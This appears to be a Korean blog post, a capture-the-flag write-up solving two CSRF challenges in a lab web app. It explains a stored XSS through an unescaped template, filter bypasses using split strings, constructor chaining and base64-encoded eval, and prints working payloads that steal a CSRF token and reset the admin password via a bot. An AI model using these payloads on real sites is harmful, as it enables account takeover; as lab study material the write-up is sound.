[CSRF1]
- 공격벡터
view.html 에 | safe 로 인해 스크립트 실행 취약점 발생
xss 필터가 걸려있었지만 script 태그, [], () 맘대로 쓸 수 있음 → 함수들 맘껏 사용 가능
internal network에서 /changepw 엔드포인트에 admin pw 변경해달라고 GET 요청 보내면 됨
- exploit 과정
script랑 ` 는 안막혀있다 => on만 잘 우회해서 스크립트 요청 보내면 됨
<script>document[`locatio`+`n`].href=`http://arang_client:9004/changepw?userid=admin&userpw=1234`</script>
이 내용을 content에 담아 게시물 올려놓고(Stored XSS), 봇으로 하여금 이 게시물 읽게 하면 됨
admin pw 변경 후 admin 계정으로 로그인해서 0번 게시물 읽으면 된다
[CSRF2]
- 공격벡터
view.html 에 | safe 로 인해 스크립트 실행 취약점 발생
xss 필터는 CSRF1 이랑 동일하게 걸려있음, script / () / [] 사용 가능하다!!
/changepw 엔드포인트에서 internal network인지, 올바른 CSRF token을 제시했는지 검사함
CSRF Token은 /changepw 엔드포인트에 처음 접속했을 때 발급되며, changepw.html 에 hidden 타입 input의 값으로 들어있음 => js 코드 사용해서 leak 가능함
atob( base64 인코딩된 코드 ) 를 이용해 필터링 안걸리게 코드 실행시킬 수 있음. how?
1. [].constuctor.constructor 사용 // nodejs 특강 시간에 가르쳐주신
=> [][`co`+`nstructor`][`co`+`nstructor`](atob(`Y29uc29sZS5sb2coMSk=`))(); 하니까 잘 됨
2. eval 사용
=> window[`ev`+`al`](atob(`Y29uc29sZS5sb2coMSk=`)); 하니까 console.log(1) 잘 실행됨
- exploit 과정
/changepw에 접속해 csrf token을 빼오고, 빼온 csrf token을 바탕으로 /changepw에 다시 admin 비밀번호 변경 GET 요청을 보내는 js 코드를 작성했다
btoa() 함수 이용해 해당 코드를 base64 인코딩하고 이걸 앞에서 구한 공격벡터에 넣으면 된다
<script>window[`ev`+`al`](atob(`KGFzeW5jICgpID0+IHtsZXQgcmVzcG9uc2UgPSBhd2FpdCBmZXRjaCgnaHR0cDovL2FyYW5nX2NsaWVudDo5MDA1L2NoYW5nZXB3Jyk7IGxldCB0ZXh0ID0gYXdhaXQgcmVzcG9uc2UudGV4dCgpOyBsZXQgdmFsdWUgPSBuZXcgRE9NUGFyc2VyKCkucGFyc2VGcm9tU3RyaW5nKHRleHQsICd0ZXh0L2h0bWwnKS5xdWVyeVNlbGVjdG9yKCdpbnB1dFtuYW1lPSJjc3JmX3Rva2VuIl0nKS52YWx1ZTsgYXdhaXQgZmV0Y2goJ2h0dHA6Ly9hcmFuZ19jbGllbnQ6OTAwNS9jaGFuZ2Vwdz91c2VyaWQ9YWRtaW4mdXNlcnB3PWhpdGhlcmUmY3NyZl90b2tlbj0nK3ZhbHVlKTsgfSkoKTs=`)); </script>
이 내용을 content에 담아 게시물 올려놓고(Stored XSS), 봇으로 하여금 이 게시물 읽게 하면 됨
admin pw 변경 후 admin 계정으로 로그인해서 0번 게시물 읽으면 된다
'security > 화이트햇' 카테고리의 다른 글
Mini CTF - LFI, Command Injection, SSTI (0) | 2024.01.09 |
---|---|
Mini CTF - SQLI (0) | 2024.01.09 |
Mini CTF - XSS, DOM Clobbering (0) | 2024.01.07 |
IDA에서 사용자 정의 구조체 생성하기 (1) | 2024.01.06 |
Windbg 커맨드 정리 (2) | 2024.01.06 |